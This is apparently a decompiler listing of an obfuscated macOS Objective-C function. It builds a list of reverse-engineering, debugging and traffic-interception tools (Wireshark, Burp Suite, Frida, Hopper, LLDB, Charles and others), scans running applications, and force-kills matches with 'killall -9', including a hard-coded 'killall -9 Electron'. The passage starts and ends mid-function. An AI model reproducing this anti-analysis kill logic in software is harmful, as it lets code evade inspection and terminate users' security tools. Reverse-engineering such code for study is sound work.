id v60; // [rsp+C8h] [rbp-68h]
id v61; // [rsp+D0h] [rbp-60h]
__int64 *v62; // [rsp+D8h] [rbp-58h]
id obj; // [rsp+E0h] [rbp-50h]
bool v64; // [rsp+EAh] [rbp-46h]
bool v65; // [rsp+EBh] [rbp-45h]
bool v66; // [rsp+ECh] [rbp-44h]
unsigned __int8 v67; // [rsp+EDh] [rbp-43h]
bool v68; // [rsp+EEh] [rbp-42h]
bool v69; // [rsp+EFh] [rbp-41h]
__int64 *v70; // [rsp+F0h] [rbp-40h]
int *v71; // [rsp+F8h] [rbp-38h]
__int64 v72; // [rsp+100h] [rbp-30h]
v72 = -1;
v53 = dword_10029F538;
v54 = -2027262121;
v71 = &v54;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v54 > 267269700 )
{
if ( v54 <= 1439895905 )
{
if ( v54 > 814401675 )
{
if ( v54 > 1056022491 )
{
if ( v54 > 1204567955 )
{
switch ( v54 )
{
case 1204567956:
HikariFunctionWrapper_17141(v57, v46);
*v71 = -1412884794;
break;
case 1224307120:
*v71 = -707203318;
break;
case 1405339606:
v15 = !v64;
v3 = 1439895906;
v16 = 164516931;
goto LABEL_242;
}
}
else
{
switch ( v54 )
{
case 1056022492:
goto LABEL_165;
case 1175804214:
objc_enumerationMutation(obj);
*v71 = 2031016586;
break;
case 1178093343:
v14 = 747456715;
if ( v68 )
v14 = -418810008;
*v71 = v14;
v52 = v49;
break;
}
}
}
else if ( v54 > 872180452 )
{
switch ( v54 )
{
case 872180453:
HikariFunctionWrapper_17145(obj, v41);
*v71 = -282411877;
break;
case 925898542:
v69 = v50 == 0;
v2 = 1;
v3 = 1958985884;
v4 = -1656941646;
goto LABEL_226;
case 1046945976:
*v71 = -152940377;
break;
}
}
else
{
switch ( v54 )
{
case 814401676:
v20 = 0;
v45 = "localizedName";
v46 = "containsObject:";
v37 = "init";
v38 = "setLaunchPath:";
v47 = "setArguments:";
v48 = "launch";
v3 = 855017751;
v21 = 1836573293;
goto LABEL_230;
case 824537639:
v39 = v51;
v5 = 0;
v3 = 1836573293;
v6 = 814401676;
goto LABEL_238;
case 855017751:
*v71 = 747456715;
v52 = 0;
break;
}
}
}
else if ( v54 > 460085564 )
{
if ( v54 > 724876733 )
{
switch ( v54 )
{
case 724876734:
goto LABEL_199;
case 747456715:
v55 = v52;
v2 = 1;
v3 = 1846396656;
v4 = 1739960485;
goto LABEL_226;
case 810221592:
objc_release(v57);
*v71 = 462322031;
break;
}
}
else
{
switch ( v54 )
{
case 460085565:
v28 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v61 = objc_msgSend(v28, v37);
objc_msgSend(v61, v38, CFSTR("\x9Fl\xC8\x0C \xF8\xF5\x89\xC2\xB7EOX\v\xD8\x2E\xBF"));
*v71 = 1964346240;
break;
case 462322031:
objc_release(v57);
*v71 = -1565650839;
break;
case 465250801:
v11 = objc_msgSend(v58, "runningApplications");
v12 = objc_retainAutoreleasedReturnValue(v11);
objc_release(v58);
v13 = v62;
*((_OWORD *)v62 + 3) = 0;
*((_OWORD *)v13 + 2) = 0;
*((_OWORD *)v13 + 1) = 0;
*(_OWORD *)v13 = 0;
objc_retain(v12);
objc_msgSend(v12, "countByEnumeratingWithState:objects:count:", v62, v56, 16);
*v71 = -2107598788;
break;
}
}
}
else if ( v54 > 328363694 )
{
switch ( v54 )
{
case 328363695:
v5 = 0;
v3 = 1046945976;
v6 = -152940377;
goto LABEL_238;
case 356247173:
v5 = 0;
v42 = (__int64 **)(v62 + 2);
v3 = 39705197;
v6 = -963044054;
goto LABEL_238;
case 374164782:
v15 = 0;
v3 = 146620536;
v16 = -1255587670;
goto LABEL_242;
}
}
else
{
switch ( v54 )
{
case 267269701:
objc_release(obj);
*v71 = 724876734;
break;
case 286328842:
v64 = v53 == 0;
v2 = 1;
v3 = 286328842;
v4 = -1423065683;
goto LABEL_226;
case 302929967:
v7 = 824537639;
if ( v69 )
v7 = 267269701;
*v71 = v7;
v51 = v50;
break;
}
}
}
else if ( v54 <= 1842916185 )
{
if ( v54 > 1620151824 )
{
if ( v54 > 1739960484 )
{
switch ( v54 )
{
case 1739960485:
v66 = **v42 == v36;
v20 = 0;
v3 = -1204803809;
v21 = 1739960485;
LABEL_230:
if ( v20 )
v3 = v21;
goto LABEL_244;
case 1812516407:
*v71 = 286328842;
break;
case 1836573293:
*v71 = 814401676;
break;
}
}
else
{
switch ( v54 )
{
case 1620151825:
*v71 = 1932573668;
break;
case 1630118778:
v29 = objc_msgSend(*(id *)(*v43 + 8LL * (_QWORD)v55), v45);
v30 = objc_retainAutoreleasedReturnValue(v29);
v5 = 1;
v60 = v30;
v3 = 1842916186;
v6 = 2004073846;
goto LABEL_238;
case 1733378743:
asc_10027A703[0] = 82;
asc_10027A703[1] = 101;
asc_10027A703[2] = 116;
asc_10027A703[3] = 68;
asc_10027A703[4] = 101;
asc_10027A703[5] = 99;
asc_10027A703[6] = 0;
strcpy(asc_10027A6D0, "killall -9 Electron");
asc_10027A35B[0] = 108;
asc_10027A35B[1] = 115;
asc_10027A35B[2] = 111;
asc_10027A35B[3] = 102;
asc_10027A35B[4] = 0;
asc_10027A405[0] = 84;
asc_10027A405[1] = 101;
asc_10027A405[2] = 114;
asc_10027A405[3] = 109;
asc_10027A405[4] = 105;
asc_10027A405[5] = 110;
asc_10027A405[6] = 97;
asc_10027A405[7] = 108;
asc_10027A405[8] = 0;
asc_10027A64E[0] = 70;
asc_10027A64E[1] = 108;
asc_10027A64E[2] = 101;
asc_10027A64E[3] = 120;
asc_10027A64E[4] = 0;
aB_7[0] = 111;
aB_7[1] = 116;
aB_7[2] = 111;
aB_7[3] = 111;
aB_7[4] = 108;
aB_7[5] = 0;
asc_10027A68F[0] = 77;
asc_10027A68F[1] = 111;
asc_10027A68F[2] = 98;
asc_10027A68F[3] = 83;
asc_10027A68F[4] = 70;
asc_10027A68F[5] = 0;
asc_10027A642[0] = 67;
asc_10027A642[1] = 117;
asc_10027A642[2] = 116;
asc_10027A642[3] = 116;
asc_10027A642[4] = 101;
asc_10027A642[5] = 114;
asc_10027A642[6] = 0;
asc_10027A69C[0] = 120;
asc_10027A69C[1] = 54;
asc_10027A69C[2] = 52;
asc_10027A69C[3] = 100;
asc_10027A69C[4] = 98;
asc_10027A69C[5] = 103;
asc_10027A69C[6] = 0;
aK_7[0] = 105;
aK_7[1] = 84;
aK_7[2] = 101;
aK_7[3] = 114;
aK_7[4] = 109;
aK_7[5] = 0;
strcpy(asc_10027A5E5, "execsnoop");
strcpy(aV_9, "Class-dump");
aAd[0] = 82;
aAd[1] = 97;
aAd[2] = 100;
aAd[3] = 97;
aAd[4] = 114;
aAd[5] = 101;
aAd[6] = 50;
aAd[7] = 0;
asc_10027A676[0] = 100;
asc_10027A676[1] = 116;
asc_10027A676[2] = 114;
asc_10027A676[3] = 117;
asc_10027A676[4] = 115;
asc_10027A676[5] = 115;
asc_10027A676[6] = 0;
asc_10027A5FE[0] = 70;
asc_10027A5FE[1] = 114;
asc_10027A5FE[2] = 105;
asc_10027A5FE[3] = 100;
asc_10027A5FE[4] = 97;
asc_10027A5FE[5] = 45;
*v71 = -1619220759;
break;
}
}
}
else if ( v54 > 1481725318 )
{
switch ( v54 )
{
case 1481725319:
objc_msgSend(v61, v48);
objc_release(v61);
v2 = 0;
v3 = -2127336679;
v4 = 1481725319;
LABEL_226:
if ( v2 )
v3 = v4;
goto LABEL_244;
case 1524213200:
*v71 = -1441669073;
break;
case 1536279192:
*v71 = 1879217836;
break;
}
}
else
{
switch ( v54 )
{
case 1439895906:
dword_10029F538 = 1;
v70 = &v34 - 48;
v62 = &v34 - 8;
v56 = &v34 - 16;
v59 = &v34 - 2;
system(asc_10027A6D0);
*v70 = (__int64)CFSTR("N\xE9\x18\xE9U\x9A\x82");
v70[1] = (__int64)CFSTR("r\xB1\x18\x9B");
v70[2] = (__int64)CFSTR("x<\x9FQI$<\\\x94\x05\x14\x95\xA9");
v70[3] = (__int64)CFSTR("j\xD8\x05\xAB\xCE\x34\x93");
v70[4] = (__int64)CFSTR("l_\xF3\x15\x16\xA2\xB1");
v70[5] = (__int64)CFSTR("aD?\x96\x93\xAB");
v70[6] = (__int64)CFSTR("\xF0\x61\x54\xC6!");
v70[7] = (__int64)CFSTR("\xE3\x54\x2A\xA1$\xBD.");
*v71 = -1590129916;
break;
case 1442208595:
v5 = 0;
v3 = -584582500;
v6 = -899351119;
goto LABEL_238;
case 1469021048:
v70[8] = (__int64)CFSTR("\x19B\xB62\x15\xFCSV%");
v70[9] = (__int64)CFSTR("\x8E\x8Eج;\xBAm");
v70[10] = (__int64)CFSTR("\xDC\x7F\xF3\x96\x69\xD1'#\xCB\xEC\x9Fq\xA4\x94");
v70[11] = (__int64)CFSTR("\xA3h\xE2\x87\xD6jEX");
v70[12] = (__int64)CFSTR("\xAD\xAD\xC9\x263");
v70[13] = (__int64)CFSTR("\xFE\xB9\x91\xDB\xF7\xB5\xEC\x3C\xD3\xAA");
v70[14] = (__int64)CFSTR("\bV(\xC5\xEE;o\x02,E\x8D");
v70[15] = (__int64)CFSTR("\xAA2\x00\xFB\v\xAE]");
v70[16] = (__int64)CFSTR("Ϭ\xF0\x0F\x7D\xFC");
v70[17] = (__int64)CFSTR("b\x11\xB4p\xE3\x46\xEE\xA5");
v70[18] = (__int64)CFSTR("Kf\xE4\x57\xCBV?\xE3\x31\xF9");
v70[19] = (__int64)CFSTR("1_\x9AY\xE8\xD6\x16");
v70[20] = (__int64)CFSTR("<\t'\x85\xFEF\x90B");
v70[21] = (__int64)CFSTR("]\bb\xB4\xCE\x76");
v70[22] = (__int64)CFSTR("Q\xBA\x18\x11\xD7\xD8W");
v70[23] = (__int64)CFSTR("67J\x85\xBEy\xFC,");
v70[24] = (__int64)CFSTR("aP\x932\aAKse\t\x88\xFC\x98\x1B\xB6a");
v70[25] = (__int64)CFSTR("\xD7\x1A\x0E\x80\x1A\xCB\x43ћ&\xAE");
v70[26] = (__int64)CFSTR("h\x99\xC7\x76+Օ");
v70[27] = (__int64)CFSTR("\r\xADɛ\t6\xAEI\r\xA4");
v70[28] = (__int64)CFSTR("9\xDF\xD6\xA9\xFA С\x14\x17");
v70[29] = (__int64)CFSTR("\xE2\xE9\xFC\n\xAD\x7F\xF8\xA4\xB3(yC\xC5\xC8\xCA\x4F");
v70[30] = (__int64)CFSTR("\xEB\xCA\x78\x93\x9E\be<\x88");
v70[31] = (__int64)CFSTR("\x8DBQ7\x1E\xEA\x8B\x0D=");
v70[32] = (__int64)CFSTR("#k\xBB\xA45\x1B");
v70[33] = (__int64)CFSTR("W\xA6K\xF1\xD2\x06\xE1");
v70[34] = (__int64)CFSTR("z\xFF\xCF\x23\u07BC($\\\xB5");
v70[35] = (__int64)CFSTR("^lH\x9A\xC1\x51$\x19");
v70[36] = (__int64)CFSTR("\xD6\x99\xB2\xD4\xCF");
v70[37] = (__int64)CFSTR("ۚ![]A");
v70[38] = (__int64)CFSTR("\xFD\x9C\x10\xFA\"\x1An");
v70[39] = (__int64)CFSTR("\x91C\xBFx\x05\xAC}");
v70[40] = (__int64)CFSTR("\x9F\xD4\x16\t\x9D&\xBF\x9F\xA3X");
v70[41] = (__int64)CFSTR("̉\x10\u4365Ar");
v70[42] = (__int64)CFSTR("!\x9EK\x15\xA2");
v70[43] = (__int64)CFSTR("S\x1Af\xB44\tr@");
v70[44] = (__int64)CFSTR("c\x93\x80;\xCE\xF3\x86\xE9\xDE\x4B\xD1\x7B,h");
v70[45] = (__int64)CFSTR("4Ʉ\xEF\xE0\x11");
v70[46] = (__int64)CFSTR("\x06\x99\xAB\xBE\xDB\x13m");
v70[47] = (__int64)CFSTR("\xB2\xB2\xC4\x33\xA0\x1A\xA7E");
v9 = HikariFunctionWrapper_17139(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
objc_retainAutoreleasedReturnValue(v9);
v10 = +[NSWorkspace sharedWorkspace](&OBJC_CLASS___NSWorkspace, "sharedWorkspace");
objc_retainAutoreleasedReturnValue(v10);
*v71 = 2145666506;
break;
}
}
}
else if ( v54 <= 1960893273 )
{
if ( v54 > 1932573667 )
{
switch ( v54 )
{
case 1932573668:
v2 = 1;
v36 = **v42;
v43 = v62 + 1;
v44 = (id *)(v59 + 1);
v3 = 1620151825;
v4 = -1268131557;
goto LABEL_226;
case 1938343869:
v5 = 1;
v3 = 1481725319;
v6 = -283922336;
goto LABEL_238;
case 1958985884:
goto LABEL_136;
}
}
else
{
switch ( v54 )
{
case 1842916186:
*v71 = -1097788381;
break;
case 1846396656:
*v71 = 1739960485;
break;
case 1879217836:
v68 = v49 == v39;
*v71 = 1178093343;
break;
}
}
}
else if ( v54 <= 2029365972 )
{
switch ( v54 )
{
case 1960893274:
*v71 = 1442208595;
break;
case 1964346240:
v5 = 1;
v3 = 248865783;
v6 = -502816880;
goto LABEL_238;
case 2004073846:
v17 = objc_msgSend(*(id *)(*v43 + 8LL * (_QWORD)v55), v45);
objc_retainAutoreleasedReturnValue(v17);
LABEL_165:
*v71 = 1630118778;
break;
}
}
else if ( v54 > 2087145447 )
{
if ( v54 == 2087145448 )
{
*v71 = -630477657;
}
else if ( v54 == 2145666506 )
{
v70[8] = (__int64)CFSTR("\x19B\xB62\x15\xFCSV%");
v70[9] = (__int64)CFSTR("\x8E\x8Eج;\xBAm");
v70[10] = (__int64)CFSTR("\xDC\x7F\xF3\x96\x69\xD1'#\xCB\xEC\x9Fq\xA4\x94");
v70[11] = (__int64)CFSTR("\xA3h\xE2\x87\xD6jEX");
v70[12] = (__int64)CFSTR("\xAD\xAD\xC9\x263");
v70[13] = (__int64)CFSTR("\xFE\xB9\x91\xDB\xF7\xB5\xEC\x3C\xD3\xAA");
v70[14] = (__int64)CFSTR("\bV(\xC5\xEE;o\x02,E\x8D");
v70[15] = (__int64)CFSTR("\xAA2\x00\xFB\v\xAE]");
v70[16] = (__int64)CFSTR("Ϭ\xF0\x0F\x7D\xFC");
v70[17] = (__int64)CFSTR("b\x11\xB4p\xE3\x46\xEE\xA5");
v70[18] = (__int64)CFSTR("Kf\xE4\x57\xCBV?\xE3\x31\xF9");
v70[19] = (__int64)CFSTR("1_\x9AY\xE8\xD6\x16");
v70[20] = (__int64)CFSTR("<\t'\x85\xFEF\x90B");
v70[21] = (__int64)CFSTR("]\bb\xB4\xCE\x76");
v70[22] = (__int64)CFSTR("Q\xBA\x18\x11\xD7\xD8W");
v70[23] = (__int64)CFSTR("67J\x85\xBEy\xFC,");
v70[24] = (__int64)CFSTR("aP\x932\aAKse\t\x88\xFC\x98\x1B\xB6a");
v70[25] = (__int64)CFSTR("\xD7\x1A\x0E\x80\x1A\xCB\x43ћ&\xAE");
v70[26] = (__int64)CFSTR("h\x99\xC7\x76+Օ");
v70[27] = (__int64)CFSTR("\r\xADɛ\t6\xAEI\r\xA4");
v70[28] = (__int64)CFSTR("9\xDF\xD6\xA9\xFA С\x14\x17");
v70[29] = (__int64)CFSTR("\xE2\xE9\xFC\n\xAD\x7F\xF8\xA4\xB3(yC\xC5\xC8\xCA\x4F");
v70[30] = (__int64)CFSTR("\xEB\xCA\x78\x93\x9E\be<\x88");
v70[31] = (__int64)CFSTR("\x8DBQ7\x1E\xEA\x8B\x0D=");
v70[32] = (__int64)CFSTR("#k\xBB\xA45\x1B");
v70[33] = (__int64)CFSTR("W\xA6K\xF1\xD2\x06\xE1");
v70[34] = (__int64)CFSTR("z\xFF\xCF\x23\u07BC($\\\xB5");
v70[35] = (__int64)CFSTR("^lH\x9A\xC1\x51$\x19");
v70[36] = (__int64)CFSTR("\xD6\x99\xB2\xD4\xCF");
v70[37] = (__int64)CFSTR("ۚ![]A");
v70[38] = (__int64)CFSTR("\xFD\x9C\x10\xFA\"\x1An");
v70[39] = (__int64)CFSTR("\x91C\xBFx\x05\xAC}");
v70[40] = (__int64)CFSTR("\x9F\xD4\x16\t\x9D&\xBF\x9F\xA3X");
v70[41] = (__int64)CFSTR("̉\x10\u4365Ar");
v70[42] = (__int64)CFSTR("!\x9EK\x15\xA2");
v70[43] = (__int64)CFSTR("S\x1Af\xB44\tr@");
v70[44] = (__int64)CFSTR("c\x93\x80;\xCE\xF3\x86\xE9\xDE\x4B\xD1\x7B,h");
v70[45] = (__int64)CFSTR("4Ʉ\xEF\xE0\x11");
v70[46] = (__int64)CFSTR("\x06\x99\xAB\xBE\xDB\x13m");
v70[47] = (__int64)CFSTR("\xB2\xB2\xC4\x33\xA0\x1A\xA7E");
v40 = "arrayWithObjects:count:";
v22 = HikariFunctionWrapper_17131(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v57 = objc_retainAutoreleasedReturnValue(v22);
v23 = +[NSWorkspace sharedWorkspace](&OBJC_CLASS___NSWorkspace, "sharedWorkspace");
v24 = objc_retainAutoreleasedReturnValue(v23);
v2 = 1;
v58 = v24;
v3 = 1469021048;
v4 = -2093777261;
goto LABEL_226;
}
}
else
{
if ( v54 == 2029365973 )
{
v20 = 0;
v3 = 1879217836;
v21 = 1536279192;
goto LABEL_230;
}
if ( v54 == 2031016586 )
{
objc_enumerationMutation(obj);
v2 = 1;
v3 = 2031016586;
v4 = 1960893274;
goto LABEL_226;
}
}
}
if ( v54 <= -963044055 )
break;
if ( v54 <= -502816881 )
{
if ( v54 > -667008215 )
{
if ( v54 > -588159034 )
{
switch ( v54 )
{
case -588159033:
*v71 = -1379907475;
break;
case -584582500:
*v71 = -899351119;
break;
case -575293099:
LABEL_140:
*v71 = -1891841573;
break;
}
}
else
{
switch ( v54 )
{
case -667008214:
*v71 = 824537639;
v51 = v35;
break;
case -634408858:
objc_release(obj);
LABEL_199:
*v71 = -1738312321;
break;
case -630477657:
asc_10027A5FE[6] = 105;
asc_10027A5FE[7] = 111;
asc_10027A5FE[8] = 115;
asc_10027A5FE[9] = 45;
asc_10027A5FE[10] = 100;
asc_10027A5FE[11] = 117;
asc_10027A5FE[12] = 109;
asc_10027A5FE[13] = 112;
asc_10027A5FE[14] = 0;
a1_4[0] = 66;
a1_4[1] = 105;
a1_4[2] = 110;
a1_4[3] = 119;
a1_4[4] = 97;
a1_4[5] = 108;
a1_4[6] = 107;
a1_4[7] = 0;
aLh[0] = 87;
aLh[1] = 101;
aLh[2] = 122;
aLh[3] = 84;
aLh[4] = 101;
aLh[5] = 114;
aLh[6] = 109;
aLh[7] = 0;
aJ_10[0] = 71;
aJ_10[1] = 104;
aJ_10[2] = 105;
aJ_10[3] = 100;
aJ_10[4] = 114;
aJ_10[5] = 97;
aJ_10[6] = 0;
aN_20[0] = 72;
aN_20[1] = 111;
aN_20[2] = 112;
aN_20[3] = 112;
aN_20[4] = 101;
aN_20[5] = 114;
aN_20[6] = 0;
asc_10027A55A[0] = 110;
asc_10027A55A[1] = 101;
asc_10027A55A[2] = 101;
asc_10027A55A[3] = 100;
asc_10027A55A[4] = 108;
asc_10027A55A[5] = 101;
asc_10027A55A[6] = 0;
a67j[0] = 70;
a67j[1] = 105;
a67j[2] = 100;
a67j[3] = 100;
a67j[4] = 108;
a67j[5] = 101;
a67j[6] = 114;
a67j[7] = 0;
strcpy(aAp, "Fiddler Everywhere");
asc_10027A34E[0] = 111;
asc_10027A34E[1] = 115;
asc_10027A34E[2] = 113;
asc_10027A34E[3] = 117;
asc_10027A34E[4] = 101;
asc_10027A34E[5] = 114;
asc_10027A34E[6] = 121;
asc_10027A34E[7] = 0;
strcpy(aB_4, "MachOView");
aSF[0] = 80;
aSF[1] = 111;
aSF[2] = 115;
aSF[3] = 116;
aSF[4] = 109;
aSF[5] = 97;
aSF[6] = 110;
aSF[7] = 0;
strcpy(asc_10027A62E, "Binary Ninja");
strcpy(aZ_8, "Alacritty");
strcpy(asc_10027A59F, "Objection");
strcpy(asc_10027A477, "SSL Kill Switch");
strcpy(a9_3, "Wireshark");
asc_10027A490[0] = 80;
asc_10027A490[1] = 114;
asc_10027A490[2] = 111;
asc_10027A490[3] = 120;
asc_10027A490[4] = 121;
asc_10027A490[5] = 109;
asc_10027A490[6] = 97;
asc_10027A490[7] = 110;
asc_10027A490[8] = 0;
strcpy(asc_10027A3A3, "Burp Suite");
aQ_3[0] = 67;
aQ_3[1] = 104;
aQ_3[2] = 97;
aQ_3[3] = 114;
aQ_3[4] = 108;
aQ_3[5] = 101;
aQ_3[6] = 115;
aQ_3[7] = 0;
strcpy(asc_10027A430, "/usr/bin/killall");
strcpy(aKf, "Hex Fiend");
asc_10027A6E9[0] = 76;
asc_10027A6E9[1] = 76;
asc_10027A6E9[2] = 68;
asc_10027A6E9[3] = 66;
asc_10027A6E9[4] = 0;
aR_10[0] = 116;
aR_10[1] = 99;
aR_10[2] = 112;
aR_10[3] = 100;
aR_10[4] = 117;
aR_10[5] = 109;
aR_10[6] = 112;
aR_10[7] = 0;
aA_11[0] = 72;
aA_11[1] = 121;
aA_11[2] = 112;
aA_11[3] = 101;
aA_11[4] = 114;
aA_11[5] = 0;
asc_10027A343[0] = 45;
asc_10027A343[1] = 57;
asc_10027A343[2] = 0;
aR_11[0] = 70;
aR_11[1] = 114;
aR_11[2] = 105;
aR_11[3] = 100;
aR_11[4] = 97;
aR_11[5] = 0;
asc_10027A5B1[0] = 67;
asc_10027A5B1[1] = 121;
asc_10027A5B1[2] = 99;
asc_10027A5B1[3] = 114;
asc_10027A5B1[4] = 105;
asc_10027A5B1[5] = 112;
asc_10027A5B1[6] = 116;
asc_10027A5B1[7] = 0;
aW_8[0] = 105;
aW_8[1] = 84;
aW_8[2] = 101;
aW_8[3] = 114;
aW_8[4] = 109;
aW_8[5] = 50;
aW_8[6] = 0;
aB_5[0] = 67;
aB_5[1] = 97;
*v71 = -981960488;
break;
}
}
}
else if ( v54 > -899351120 )
{
switch ( v54 )
{
case -899351119:
v2 = 0;
v3 = 145078004;
v4 = -899351119;
goto LABEL_226;
case -812715998:
v15 = !v65;
v3 = -1459396122;
v16 = 267269701;
goto LABEL_242;
case -707203318:
LABEL_136:
*v71 = 925898542;
break;
}
}
else
{
switch ( v54 )
{
case -963044054:
*v71 = -1798372582;
break;
case -950411881:
objc_release(v60);
*v71 = 77117513;
break;
case -926014980:
v2 = 1;
v3 = -1015692647;
v4 = -950411881;
goto LABEL_226;
}
}
}
else if ( v54 <= -152940378 )
{
if ( v54 > -283922337 )
{
switch ( v54 )
{
case -283922336:
objc_msgSend(v61, v48);
objc_release(v61);
*v71 = 1481725319;
break;
case -282411877:
v25 = HikariFunctionWrapper_17137(obj, v41);
v15 = 0;
v50 = v25;
v3 = 872180453;
v16 = 1224307120;
goto LABEL_242;
case -197815202:
v5 = 0;
v3 = 465250801;
v6 = -2107598788;
goto LABEL_238;
}
}
else
{
switch ( v54 )
{
case -502816880:
*v59 = (__int64)CFSTR("\xCA\x08,");
*v44 = v60;
v26 = HikariFunctionWrapper_17143(&OBJC_CLASS___NSArray, v40);
v27 = objc_retainAutoreleasedReturnValue(v26);
objc_msgSend(v61, v47, v27);
objc_release(v27);
*v71 = 248865783;
break;
case -418810008:
v15 = 0;
v3 = 872180453;
v16 = -282411877;
goto LABEL_242;
case -336000652:
*v71 = 2029365973;
break;
}
}
}
else if ( v54 <= 145078003 )
{
switch ( v54 )
{
case -152940377:
v15 = 0;
v3 = 1046945976;
v16 = -667008214;
LABEL_242:
if ( !v15 )
v3 = v16;
goto LABEL_244;
case 39705197:
goto LABEL_173;
case 77117513:
*v71 = -1284262480;
break;
}
}
else if ( v54 > 164516930 )
{
if ( v54 == 164516931 )
{
v2 = 0;
v3 = -1619220759;
v4 = 1733378743;
goto LABEL_226;
}
if ( v54 == 248865783 )
{
*v59 = (__int64)CFSTR("\xCA\x08,");
*v44 = v60;
v18 = HikariFunctionWrapper_17135(&OBJC_CLASS___NSArray, v40);
v19 = objc_retainAutoreleasedReturnValue(v18);
objc_msgSend(v61, v47, v19);
objc_release(v19);
v20 = 0;
v3 = -1046059224;
v21 = -502816880;
goto LABEL_230;
}
}
else if ( v54 == 145078004 )
{
*v71 = 1056022492;
}
else if ( v54 == 146620536 )
{
*v71 = -1255587670;
}
}
if ( v54 <= -1441669074 )
break;
if ( v54 > -1255587671 )
{
if ( v54 > -1046059225 )
{
switch ( v54 )
{
case -1046059224:
*v71 = 1938343869;
break;
case -1015692647:
objc_release(v60);
*v71 = -950411881;
break;
case -981960488:
aB_5[2] = 112;
aB_5[3] = 115;
aB_5[4] = 116;
aB_5[5] = 111;
aB_5[6] = 110;
aB_5[7] = 101;
aB_5[8] = 0;
asc_10027A3B5[0] = 115;
asc_10027A3B5[1] = 116;
asc_10027A3B5[2] = 114;
asc_10027A3B5[3] = 97;
asc_10027A3B5[4] = 99;
asc_10027A3B5[5] = 101;
asc_10027A3B5[6] = 0;
asc_10027A4BD[0] = 115;
asc_10027A4BD[1] = 116;
asc_10027A4BD[2] = 114;
asc_10027A4BD[3] = 105;
asc_10027A4BD[4] = 110;
asc_10027A4BD[5] = 103;
asc_10027A4BD[6] = 115;
asc_10027A4BD[7] = 0;
strcpy(asc_10027A4CF, "Mitmproxy");
strcpy(asc_10027A45C, "RviCapture");
a4u[0] = 84;
a4u[1] = 97;
a4u[2] = 98;
a4u[3] = 98;
a4u[4] = 121;
a4u[5] = 0;
asc_10027A392[0] = 75;
asc_10027A392[1] = 105;
asc_10027A392[2] = 116;
asc_10027A392[3] = 116;
asc_10027A392[4] = 121;
asc_10027A392[5] = 0;
asc_10027A3D3[0] = 80;
asc_10027A3D3[1] = 121;
asc_10027A3D3[2] = 116;
asc_10027A3D3[3] = 104;
asc_10027A3D3[4] = 111;
asc_10027A3D3[5] = 110;
asc_10027A3D3[6] = 0;
strcpy(aC_10, "HTTP Debugger");
*v71 = 1439895906;
break;
}
}
else
{
switch ( v54 )
{
case -1255587670:
v5 = 0;
v3 = -1255587670;
v6 = 1405339606;
goto LABEL_238;
case -1204803809:
v15 = !v66;
v3 = -2091737073;
v16 = 1056022492;
goto LABEL_242;
case -1097788381:
v2 = 0;
v3 = -1412884794;
v4 = 1204567956;
goto LABEL_226;
}
}
}
else if ( v54 > -1379907476 )
{
switch ( v54 )
{
case -1379907475:
v5 = 1;
v3 = 462322031;
v6 = 810221592;
goto LABEL_238;
case -1284262480:
goto LABEL_140;
case -1268131557:
*v71 = 328363695;
break;
}
}
else
{
switch ( v54 )
{
case -1441669073:
v20 = v67 == 0;
v3 = 460085565;
v21 = -926014980;
goto LABEL_230;
case -1423065683:
*v71 = 374164782;
break;
case -1412884794:
v8 = (unsigned __int8)objc_msgSend(v57, v46, v60);
v2 = 1;
v67 = v8;
v3 = -1412884794;
v4 = 1524213200;
goto LABEL_226;
}
}
}
if ( v54 > -1798372583 )
break;
if ( v54 > -2091737074 )
{
switch ( v54 )
{
case -2091737073:
v5 = 1;
v3 = 2031016586;
v6 = 1175804214;
goto LABEL_238;
case -2027262121:
v5 = 1;
v3 = 286328842;
v6 = 1812516407;
goto LABEL_238;
case -1891841573:
v5 = 0;
v49 = (char *)v55 + 1;
v3 = -1891841573;
v6 = -336000652;
goto LABEL_238;
}
}
else
{
switch ( v54 )
{
case -2127336679:
*v71 = -926014980;
break;
case -2107598788:
v31 = HikariFunctionWrapper_17133(v58, "runningApplications");
obj = objc_retainAutoreleasedReturnValue(v31);
objc_release(v58);
v32 = v62;
*((_OWORD *)v62 + 3) = 0;
*((_OWORD *)v32 + 2) = 0;
*((_OWORD *)v32 + 1) = 0;
*(_OWORD *)v32 = 0;
objc_retain(obj);
v41 = "countByEnumeratingWithState:objects:count:";
v33 = objc_msgSend(obj, "countByEnumeratingWithState:objects:count:", v62, v56, 16);
v65 = v33 == 0;
v15 = 0;
v35 = v33;
v3 = 465250801;
v16 = -812715998;
goto LABEL_242;
case -2093777261:
*v71 = -197815202;
break;
}
}
}
if ( v54 > -1619220760 )
break;
switch ( v54 )
{
case -1798372582:
v5 = 0;
v3 = 1620151825;
v6 = 1932573668;
LABEL_238:
if ( !v5 )
v3 = v6;
LABEL_244:
*v71 = v3;
break;
case -1738312321:
objc_release(obj);
*v71 = -588159033;
break;
case -1656941646:
*v71 = 302929967;
break;
}
}
if ( v54 > -1565650840 )
break;
if ( v54 == -1619220759 )
{
asc_10027A703[0] = 82;
asc_10027A703[1] = 101;
asc_10027A703[2] = 116;
asc_10027A703[3] = 68;
asc_10027A703[4] = 101;
asc_10027A703[5] = 99;
asc_10027A703[6] = 0;
strcpy(asc_10027A6D0, "killall -9 Electron");
asc_10027A35B[0] = 108;
asc_10027A35B[1] = 115;
asc_10027A35B[2] = 111;
asc_10027A35B[3] = 102;
asc_10027A35B[4] = 0;
asc_10027A405[0] = 84;
asc_10027A405[1] = 101;
asc_10027A405[2] = 114;
asc_10027A405[3] = 109;
asc_10027A405[4] = 105;
asc_10027A405[5] = 110;
asc_10027A405[6] = 97;
asc_10027A405[7] = 108;
asc_10027A405[8] = 0;
asc_10027A64E[0] = 70;
asc_10027A64E[1] = 108;
asc_10027A64E[2] = 101;
asc_10027A64E[3] = 120;
asc_10027A64E[4] = 0;
aB_7[0] = 111;
aB_7[1] = 116;
aB_7[2] = 111;
aB_7[3] = 111;
aB_7[4] = 108;
aB_7[5] = 0;
asc_10027A68F[0] = 77;
asc_10027A68F[1] = 111;
asc_10027A68F[2] = 98;
asc_10027A68F[3] = 83;
asc_10027A68F[4] = 70;
asc_10027A68F[5] = 0;
asc_10027A642[0] = 67;
asc_10027A642[1] = 117;
asc_10027A642[2] = 116;
asc_10027A642[3] = 116;
asc_10027A642[4] = 101;
asc_10027A642[5] = 114;
asc_10027A642[6] = 0;
asc_10027A69C[0] = 120;
asc_10027A69C[1] = 54;
asc_10027A69C[2] = 52;
